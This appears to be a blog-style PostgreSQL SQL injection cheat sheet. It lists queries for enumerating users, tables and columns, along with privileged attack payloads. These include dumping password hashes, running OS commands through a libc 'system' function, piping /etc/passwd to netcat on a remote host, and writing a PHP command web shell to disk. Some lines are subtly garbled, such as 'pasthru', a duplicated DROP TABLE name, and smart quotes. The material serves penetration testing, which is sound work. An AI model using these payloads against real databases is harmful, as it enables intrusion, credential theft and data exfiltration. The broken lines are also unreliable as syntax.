Postgres SQL Injection Cheat Sheet

Some useful syntax reminders for SQL Injection into PostgreSQL databases…

This post is part of a series of SQL Injection Cheat Sheets.  In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend.  This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.


[Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end of the query.]


Version:	
SELECT version()


Comments:	
SELECT 1; –comment
SELECT /*comment*/1; 


Current User:	
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();


List Users:	
SELECT usename FROM pg_user


List Password Hashes:	
SELECT usename, passwd FROM pg_shadow — priv


List Privileges:	
SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user


List DBA Accounts:	
SELECT usename FROM pg_user WHERE usesuper IS TRUE


Current Database:	
SELECT current_database()


List Databases:	
SELECT datname FROM pg_database


List Columns:	
SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) 


List Tables:	
SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid) 


Find Tables From Column Name:	
If you want to list all the table names that contain a column LIKE ‘%password%’:SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) AND attname LIKE ‘%password%’; 


Select Nth Row:	
SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; — rows numbered from 0
SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1; 


Select Nth Char:	
SELECT substr(‘abcd’, 3, 1); — returns c


Bitwise AND:	
SELECT 6 & 2; — returns 2
SELECT 6 & 1; –returns 0


ASCII Value -> Char:	
SELECT chr(65); 


Char -> ASCII Value:	
SELECT ascii(‘A’); 


Casting:	
SELECT CAST(1 as varchar);
SELECT CAST(’1′ as int); 


String Concatenation:	
SELECT ‘A’ || ‘B’; — returnsAB


If Statement:	
IF statements only seem valid inside functions, so aren’t much use for SQL injection.  See CASE statement instead. 


Case Statement:	
SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; — returns A


Avoiding Quotes:	
SELECT CHR(65)||CHR(66); — returns AB


Time Delay:	
SELECT pg_sleep(10); — postgres 8.2+ only
CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS ‘/lib/libc.so.6′, ‘sleep’ language ‘C’ STRICT; SELECT sleep(10); –priv, create your own sleep function.  Taken from here . 


Make DNS Requests:	
Generally not possible in postgres.  However if contrib/dblinkis installed (it isn’t by default) it can be used to resolve hostnames (assuming you have DBA rights):
SELECT * FROM dblink('host=put.your.hostname.here user=someuser  dbname=somedb', 'SELECT version()') RETURNS (result TEXT);
Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. “ping pentestmonkey.net”. 


Command Execution:	
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT; — privSELECT system(‘cat /etc/passwd | nc 10.0.0.1 8080′); — priv, commands run as postgres/pgsql OS-level user


Local File Access:	
CREATE TABLE mydata(t text);
COPY mydata FROM ‘/etc/passwd’; — priv, can read files which are readable by postgres OS-level user
…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; — get data back one row at a time
…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; — get data back one row at a time …
DROP TABLE mytest mytest;Write to a file:
CREATE TABLE mytable (mycol text);
INSERT INTO mytable(mycol) VALUES (‘<? pasthru($_GET[cmd]); ?>’);
COPY mytable (mycol) TO ‘/tmp/test.php’; –priv, write files as postgres OS-level user.  Generally you won’t be able to write to the web root, but it’s always work a try.
– priv user can also read/write files by mapping libc functions


Hostname, IP Address:	
SELECT inet_server_addr(); — returns db server IP address (or null if using local connection)
SELECT inet_server_port(); — returns db server IP address (or null if using local connection) 


Create Users:	
CREATE USER test1 PASSWORD ‘pass1′; — priv
CREATE USER test1 PASSWORD ‘pass1′ CREATEUSER; — priv, grant some privs at the same time


Drop Users:	
DROP USER test1; — priv


Make User DBA:	
ALTER USER test1 CREATEUSER CREATEDB; — priv


Location of DB files:	
SELECT current_setting(‘data_directory’); — priv
SELECT current_setting(‘hba_file’); — priv


Default/System Databases:	
template0
template1